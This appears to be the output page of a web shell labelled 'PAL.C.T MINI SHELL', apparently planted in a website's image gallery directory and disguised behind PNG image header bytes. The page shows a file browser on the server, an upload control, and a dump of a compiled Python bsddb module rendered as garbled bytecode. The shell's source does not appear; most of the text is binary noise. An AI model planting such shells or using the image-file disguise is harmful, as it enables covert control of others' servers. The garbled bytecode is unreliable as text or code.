php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/python2.6/bsddb/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/lib/python2.6/bsddb/__init__.pyo

Lc@sMdZddkZeiddjZeio#ddkZeidednyfedjo9eoddUn
ddk	Z	e	Z
dd	klZ
nddk
Z
dd	klZ
Wn,ej
o ddkZeie=nXe
ZZeiZeiZddkZddkZdd
klZeidd!djoddkZeiZnddkZeiZdefd
YZdefdYZdddddddddZ dddddddddZ!ddddddddddd
Z"dZ#dZ$yddk%Z%[%Wnej
ode_&nXdS(sSupport for Berkeley DB 4.0 through 4.7 with a simple interface.

For the full featured object oriented interface use the bsddb.db module
instead.  It mirrors the Oracle Berkeley DB C API.
iNiisQin 3.x, the bsddb module has been removed; please use the pybsddb project insteaditbsddb3sfrom . import _pybsddb(tDeadlockWrap(trefit_iter_mixincBs,eZdZdZdZdZRS(cCsAt|ii}t|}t||i||i|<|S(N(t
_DeadlockWraptdbtcursortidRt_gen_cref_cleanert_cursor_refs(tselftcurtkey((s$/usr/lib/python2.6/bsddb/__init__.pyt_make_iter_cursor\scsfdS(NcsiidS(N(R	tpoptNone(R(R
R(s$/usr/lib/python2.6/bsddb/__init__.pyt<lambda>fs((R
R((R
Rs$/usr/lib/python2.6/bsddb/__init__.pyRbsccsHt|_|id7_yy|i}t|idddd}|Vt|d}xy"t|dddd}|VWq]tij
oU|iot	dn|i}t|i
|dddt|d}q]Xq]Wn+tij
ontij
onXWn|id8_nX|id8_dS(Niitnexts'Database changed size during iteration.(tFalset_kill_iterationt_in_iterR
Rtfirsttgetattrt_bsddbtDBCursorClosedErrortRuntimeErrortsettDBNotFoundError(R
RRR((s$/usr/lib/python2.6/bsddb/__init__.pyt__iter__hs4		
	ccsQ|ipdSt|_|id7_yy|i}t|i}|d}|Vt|d}xyt|}|d}|VWqiti	j
oU|iot
dn|i}t|i|dddt|d}qiXqiWn+tij
onti	j
onXWn|id8_nX|id8_dS(NiiRs'Database changed size during iteration.(
RRRRR
RRRRRRRR(R
RtkvRR((s$/usr/lib/python2.6/bsddb/__init__.pyt	iteritemss<
	

	
	(t__name__t
__module__R
RRR(((s$/usr/lib/python2.6/bsddb/__init__.pyR[s			)t
_DBWithCursorcBseZdZdZdZdZddZdZdZdZ	e
id	d
!djo
dZnd
Z
dZdZdZdZdZdZdZe
id	djo
eZndZdZdZdZRS(s
    A simple wrapper around DB that makes it look like the bsddbobject in
    the old module.  It uses a cursor as needed to provide DB traversal.
    cCsJ||_|iidd|_d|_h|_d|_t|_dS(Ni(	Rtset_get_returns_noneRtdbct
saved_dbc_keyR	RRR(R
R((s$/usr/lib/python2.6/bsddb/__init__.pyt__init__s	
				cCs|idS(N(tclose(R
((s$/usr/lib/python2.6/bsddb/__init__.pyt__del__scCs`|idjoLt|ii|_|idj	o#t|ii|id|_q\ndS(N(R#RRRRR$R(R
((s$/usr/lib/python2.6/bsddb/__init__.pyt_checkCursors
icCs|iom|i}d|_|o@y#t|idddd|_Wqctij
oqcXnt|i~nx>|ii	D]-}|}|dj	ot|iqqWdS(Ni(
R#RRtcurrentR$RtDBErrorR&R	tvalues(R
tsavetctcref((s$/usr/lib/python2.6/bsddb/__init__.pyt
_closeCursorss
		#	
	
cCs!|idjo
tdndS(Ns$BSDDB object has already been closed(RRterror(R
((s$/usr/lib/python2.6/bsddb/__init__.pyt
_checkOpenscCs
|idj	S(N(RR(R
((s$/usr/lib/python2.6/bsddb/__init__.pytisOpenscsitfdS(Ncs
tiS((tlenR((R
(s$/usr/lib/python2.6/bsddb/__init__.pyRs(R1R(R
((R
s$/usr/lib/python2.6/bsddb/__init__.pyt__len__s
iiicCs7|iottt|iiSttS(N(R2treprtdictRRtitems(R
((s$/usr/lib/python2.6/bsddb/__init__.pyt__repr__s
cs itfdS(NcsiS((R((R
R(s$/usr/lib/python2.6/bsddb/__init__.pyRs(R1R(R
R((R
Rs$/usr/lib/python2.6/bsddb/__init__.pyt__getitem__	s
cs[iiiojo
t_nfd}t|dS(Ncsi<dS(N(R((R
tvalueR(s$/usr/lib/python2.6/bsddb/__init__.pytwrapFs(R1R/RtTrueRR(R
RR:R;((R
R:Rs$/usr/lib/python2.6/bsddb/__init__.pyt__setitem__
s


csXiiiojo
t_nfd}t|dS(Ncsi=dS(N(R((R
R(s$/usr/lib/python2.6/bsddb/__init__.pyR;s(R1R/RR<RR(R
RR;((R
Rs$/usr/lib/python2.6/bsddb/__init__.pyt__delitem__s


cCsv|idd|idj	ot|iind}|idj	ot|ii}nd|_d|_|S(NR,i(R/R#RRR&R(R
tv((s$/usr/lib/python2.6/bsddb/__init__.pyR&s		cCs|it|iiS(N(R1RRtkeys(R
((s$/usr/lib/python2.6/bsddb/__init__.pyR@*s
cCs|it|ii|S(N(R1RRthas_key(R
R((s$/usr/lib/python2.6/bsddb/__init__.pyRA.s
cCs'|i|it|ii|S(N(R1R(RR#t	set_range(R
R((s$/usr/lib/python2.6/bsddb/__init__.pytset_location2s

cCs0|i|itt|id}|S(NR(R1R(RRR#(R
trv((s$/usr/lib/python2.6/bsddb/__init__.pyR7s

icCs*|i|it|ii}|S(N(R1R(RR#tprev(R
RD((s$/usr/lib/python2.6/bsddb/__init__.pytprevious@s

cCs3|id|_|it|ii}|S(N(R1RR$R(RR#R(R
RD((s$/usr/lib/python2.6/bsddb/__init__.pyRFs

	
cCs3|id|_|it|ii}|S(N(R1RR$R(RR#tlast(R
RD((s$/usr/lib/python2.6/bsddb/__init__.pyRGNs

	
cCs|it|iiS(N(R1RRtsync(R
((s$/usr/lib/python2.6/bsddb/__init__.pyRHVs
(ii(RR t__doc__R%R'R(R/R1R2R4tsystversion_infoR8R9R=R>R&R@RARCRt__next__RFRRGRH(((s$/usr/lib/python2.6/bsddb/__init__.pyR!s0						
										
			R-ic	Cst||}	t|}
ti|
}|i||dj	o|i|n|dj	o|i|n|dj	o|i|n|dj	o|i	|n|i
|ti|	|t|S(N(
t
_checkflagt
_openDBEnvRtDBt	set_flagsRtset_pagesizet
set_lordert
set_h_ffactortset_h_nelemtopentDB_HASHR!(tfiletflagtmodetpgsizetffactortnelemt	cachesizetlorderthflagstflagstetd((s$/usr/lib/python2.6/bsddb/__init__.pythashopen^s




c	Cst||}	t|}
ti|
}|dj	o|i|n|dj	o|i|n|i||dj	o|i|n|dj	o|i	|n|i
|ti|	|t|S(N(
RMRNRRORRQRRRPt
set_bt_minkeyt
set_bt_maxkeyRUtDB_BTREER!(RWRXRYtbtflagsR]t
maxkeypaget
minkeypageRZR^R`RaRb((s$/usr/lib/python2.6/bsddb/__init__.pytbtopenns




cCst||}t|}ti|}
|dj	o|
i|n|dj	o|
i|n|
i||dj	o|
i|n|dj	o|
i	|n|	dj	o|
i
|	n|
dj	o|
i|
n|
i|ti
||t|
S(N(RMRNRRORRQRRRPtset_re_delimt
set_re_lent
set_re_sourcet
set_re_padRUtDB_RECNOR!(RWRXRYtrnflagsR]RZR^trlentdelimtsourcetpadR`RaRb((s$/usr/lib/python2.6/bsddb/__init__.pytrnopens$






cCsti}|dj	o.|djo|id|qGtdn|iti|idtiti	Bti
BtiBtiB|S(NiPiscachesize must be >= 20480t.(
RtDBEnvRt
set_cachesizeR0t
set_lk_detecttDB_LOCK_DEFAULTRUt
DB_PRIVATEt	DB_CREATEt	DB_THREADtDB_INIT_LOCKt
DB_INIT_MPOOL(R]Ra((s$/usr/lib/python2.6/bsddb/__init__.pyRNs


/cCs|djo
ti}n|djo
d}n|djo
ti}no|djo
ti}nU|djo>ti}|dj	o$tii|oti|qn
td|ti	BS(NtrtrwitwR-tns+flags should be one of 'r', 'w', 'c' or 'n'(
Rt	DB_RDONLYR|RtostpathtisfiletunlinkR0R}(RXRWR`((s$/usr/lib/python2.6/bsddb/__init__.pyRMs








	 	(ii('RIRJRKtabsolute_importtpy3kwarningtwarningstwarnpy3ktDeprecationWarningRt_pybsddbRtbsddb3.dbutilsRRt
bsddb.dbutilstImportErrortmodulesRt_dbt__version__R*R0RtweakrefRtUserDictt	DictMixintMutableMappingtcollectionsRR!RRcRjRuRNRMtthreadR}(((s$/usr/lib/python2.6/bsddb/__init__.pyt<module>(s\
	


		
	b		
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`